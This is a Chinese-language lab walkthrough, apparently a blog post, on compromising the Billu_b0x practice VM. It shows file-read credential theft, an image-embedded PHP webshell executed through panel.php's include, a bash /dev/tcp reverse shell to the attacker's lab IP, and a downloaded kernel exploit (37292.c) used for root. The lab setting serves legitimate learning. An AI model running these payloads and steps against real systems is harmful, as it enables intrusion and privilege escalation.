当前位置: 首页 > news >正文

Billu_b0x靶机

信息收集

使用arp-scan 生成网络接口地址来查看ip

输入命令:

arp-scan -l

可以查看到我们的目标ip为192.168.187.153

在这里插入图片描述

nmap扫描端口开放

输入命令:

nmap -min-rate 10000 -p- 192.168.187.153

可以看到开放2个端口

在这里插入图片描述

nmap扫描端口信息

输入命令:

nmap -sC -sT -A -p 22,80 192.168.187.153

在这里插入图片描述

nmap漏洞脚本扫描

输入命令:

nmap --script=vuln 192.168.187.153

这里没有扫描可以利用的信息

在这里插入图片描述

查看web端

页面上有一个登录的地方,但是还不知道密码,不过提示了一句向我展示你的sql技巧,看样子是想让我们使用sql注入

在这里插入图片描述

扫描子目录

输入命令:

dirsearch -u http://192.168.187.153

可以发现一些子目录

在这里插入图片描述

输入命令:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.187.153 -t 50

这里也看到了一些子目录,等下访问看看

在这里插入图片描述

这个目录下查看到phpinfo()信息

在这里插入图片描述

查看php配置信息

在这个下面可以看到allow_url_fopen是on状态,可以允许本地文件包含

在这里插入图片描述

发现登录页面

这里看到了另一个新的页面,但是我们现在没有密码,先去找密码

在这里插入图片描述

发现文件包含页面

这里的test目录下看到了一个新的提示

在这里插入图片描述

翻译内容,看来是要我们加上file参数,有可能这里就是文件包含的位置,试一下

在这里插入图片描述

构造url语句

get请求验证

我们先尝试了get请求下的文件包含语句,但是发现没有成功

http://192.168.187.153/test.php?file=../../../etc/passwd

在这里插入图片描述

post请求验证

接下来尝试一下post请求的文件包含语句。这里可以使用bp来实现,也可以在kali中借助curl这个工具实现,这里使用的后者

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=…/…/…/etc/passwd

发现成功回显了信息,证明确实是存在本地文件包含

在这里插入图片描述

利用文件包含读取文件信息

既然已经证实存在了文件包含,那我们可以读取很多之前看不到的文件的信息了

查看add.php

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=add.php

add.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码

在这里插入图片描述

拿到数据库的密码信息

查看c.php

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=c.php

在这里看到了疑似数据库的连接用户名和密码,等下可以去查看一下

billu:b0x_billu

在这里插入图片描述

登录数据库

返回phpmy页面尝试登录,发现成功登录。

在这里插入图片描述

发现版本信息

这里在右下角发现了很多版本的信息

在这里插入图片描述

发现用户信息

然后在这个位置又找到了一组登录的信息

biLLu:hEx_it

在这里插入图片描述

渗透思路

这里我们有三种思路可选

  • 可以从phpmyadmin的版本入手,查找有无对应的漏洞

输入命令:

searchsploit phpMyAdmin 3.4.7

但是没有找到,所以这条路行不通

在这里插入图片描述

  • phpmyadmin的相关配置文件一般都是config.inc.php

在我们当前可以利用文件包含阅读其他文件的基础上,我们可以查看这个配置文件中的内容和信息。可以猜测一下,这个配置文件的存放

位置就是在 phpMy的目录下,通过URL猜测路径默认在/var/www/phpmy下面

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=/var/www/phpmy/config.inc.php

直接发现了root用户的登录密码(我人傻了。这么简单吗,sql注入没用呢,主页面还没有登录呢,我勒个去!!!)

root:roottoor

在这里插入图片描述

尝试ssh登录

直接试试ssh登录root用户(还是很怀疑是不是有这么简单)

输入命令:

ssh root@192.168.187.153

输入密码roottoor 发现成功登录,然后直接找flag就行(我已经人傻了)

在这里插入图片描述

  • 第三种就是正常思路了,可以去主页面登录用户名的信息,然后继续去做就可以

登录主页面

虽然上面的方法已经成功拿到了root权限,但是还是想着继续从其他方向突破试试那我们就回到主页面登录尝试一下,然后发现成功登录

在这里插入图片描述

这里登录进来后,又看到了文件上传的地点

在这里插入图片描述

制作图片木马

尝试过了weevely的加密木马,无法连接,所以还是老老实实反弹shell吧,准备好一张可以上传的图片,可以提前试一下,然后准备好我们的php文件,配置好ip和端口

输入命令:

cat 1.gif 123.php > 2.gif

在这里插入图片描述

成功合成了图片

在这里插入图片描述

上传图片木马

点击上传后,发现成功上传

在这里插入图片描述

现在先开启监听

在这里插入图片描述

结合之前扫描到的子目录,我们可以推测照片在uploaded_images/这个目录下,打开发现果然存在

在这里插入图片描述

我们打开我们上传的图片木马,回到kali中可以看到并没有反弹成功,可见直接打开图片,并不会执行代码

在这里插入图片描述

利用文件包含执行图片木马中的php语句

这里我们可以使用文件包含来执行图片里的php语句

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=/var/www/uploaded_images/3.gif

在这里插入图片描述

但是kali中无法反弹成功

在这里插入图片描述

查询文件包含的函数

这里不知道为什么失败,查询一下当前页面的文件包含函数是什么

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=test.php

发现是readfile()这个参数

在这里插入图片描述

经过上网搜查readfile的功能,是属于任意文件读取**。**无法执行php代码。所以我们上传的php反弹语句无法执行

在这里插入图片描述

漏洞挖掘

然后这里实在是没思路了,后来找了半天问了一下大佬,才知道在panel.php这个页面中存在本地文件包含漏洞

我们查看一下这个文件

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=panel.php

发现了include()这个函数,那我们可以在这里进行一个文件包含漏洞的利用

在这里插入图片描述

构造一句话木马

还是利用图片木马的原理,不过这次我们需要构造一句话木马

在这里插入图片描述

再次合成图片木马

输入命令:

cat 1.gif shell.php > 4.gif

在这里插入图片描述

上传图片木马

显示上传成功

在这里插入图片描述

文件包含漏洞利用

上传成功了,那我们就先试试有没有效果,bp抓包一下,load=/uploaded_images/4.gif&continue=continue

上面的cmd配置为cmd=cat%20/etc/passwd;ls 这里的空格必须使用url编码才能执行成功,然后在右面也可以看到返回值

在这里插入图片描述

那我们先开启监听

在这里插入图片描述

配置反弹语句

echo “bash -i >& /dev/tcp/192.168.187.128/8888 0>&1” | bash

由于之前就实验了必须使用url编码才能够执行语句,所以我们先将语句进行url编码

在这里插入图片描述

然后在bp中执行这段语句

在这里插入图片描述

执行以后就可以发现反弹shell成功了

在这里插入图片描述

提权思路

这里提权思路有这几种

sudo提权,suid提权,内核漏洞提权,计划任务提权

正常情况下,我们肯定是要一个个去试试的,对于这个靶机而言,经过尝试后,最终要使用的提权方法为内核漏洞提权

查找内核信息

输入命令:

uname -a

在这里插入图片描述

输入命令:

cat /etc/issue.net

在这里插入图片描述

查找漏洞

然后去查找有无对应的漏洞

输入命令:

searchsploit linux 3.13

这里找到了一个符合条件的漏洞文件,拿来试试

在这里插入图片描述

漏洞利用

首先将这个文件拷贝到桌面上

输入命令:

searchsploit -m 37292.c

在这里插入图片描述

然后开启http临时服务

输入命令:

python3 -m http.server 80

在这里插入图片描述

在靶机中使用wget命令下载文件(最好在/tmp目录下)

在这里插入图片描述

查看一下文件是否传输成功,发现没有问题

在这里插入图片描述

提权成功

编译,赋权,执行

输入命令:

gcc 37292.c -o exp

chmod 777 exp

./exp

执行完以后就发现已经是root权限了

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Hadoop中的YARN组件
  • 计算机网络——网络层(IP地址与MAC地址、地址解析协议ARP、IP数据报格式以及转发分组、ICMP、IPV6)
  • 鸿蒙语言基础类库:【@system.brightness (屏幕亮度)】
  • 【Python】Python-docx使用实例 科技档案封面批量生成
  • CollectionUtils的使用
  • Python实现发票信息识别
  • 编译打包自己的云手机(redroid)镜像
  • Puppeteer 是什么以及如何在网络抓取中使用它 | 2024 完整指南
  • 掌握Laravel的策略与授权门面:构建安全的Web应用
  • React Native: 构建原生级移动应用的跨平台框架
  • matine组件库踩坑日记 --- react
  • Django ORM中的Q对象
  • 1.3Zygote
  • 【Redis】哨兵(sentinel)
  • 利用AI辅助制作ppt封面
  • 2018一半小结一波
  • Angular 2 DI - IoC DI - 1
  • CODING 缺陷管理功能正式开始公测
  • CSS居中完全指南——构建CSS居中决策树
  • ES2017异步函数现已正式可用
  • SpringBoot 实战 (三) | 配置文件详解
  • swift基础之_对象 实例方法 对象方法。
  • 从setTimeout-setInterval看JS线程
  • 深度学习中的信息论知识详解
  • 微信小程序设置上一页数据
  • Android开发者必备:推荐一款助力开发的开源APP
  • CMake 入门1/5:基于阿里云 ECS搭建体验环境
  • LevelDB 入门 —— 全面了解 LevelDB 的功能特性
  • 哈罗单车融资几十亿元,蚂蚁金服与春华资本加持 ...
  • 扩展资源服务器解决oauth2 性能瓶颈
  • # 再次尝试 连接失败_无线WiFi无法连接到网络怎么办【解决方法】
  • #Spring-boot高级
  • #stm32驱动外设模块总结w5500模块
  • #我与Java虚拟机的故事#连载02:“小蓝”陪伴的日日夜夜
  • $().each和$.each的区别
  • (003)SlickEdit Unity的补全
  • (C语言)strcpy与strcpy详解,与模拟实现
  • (Oracle)SQL优化基础(三):看懂执行计划顺序
  • (pycharm)安装python库函数Matplotlib步骤
  • (附源码)ssm基于jsp的在线点餐系统 毕业设计 111016
  • (亲测)设​置​m​y​e​c​l​i​p​s​e​打​开​默​认​工​作​空​间...
  • (十八)Flink CEP 详解
  • (学习日记)2024.04.04:UCOSIII第三十二节:计数信号量实验
  • (幽默漫画)有个程序员老公,是怎样的体验?
  • (原+转)Ubuntu16.04软件中心闪退及wifi消失
  • (转)fock函数详解
  • (转)Spring4.2.5+Hibernate4.3.11+Struts1.3.8集成方案一
  • (转载)从 Java 代码到 Java 堆
  • .[hudsonL@cock.li].mkp勒索加密数据库完美恢复---惜分飞
  • .bat批处理(六):替换字符串中匹配的子串
  • .net core 源码_ASP.NET Core之Identity源码学习
  • .NET/C# 检测电脑上安装的 .NET Framework 的版本
  • .NetCore部署微服务(二)
  • .net最好用的JSON类Newtonsoft.Json获取多级数据SelectToken
  • ::before和::after 常见的用法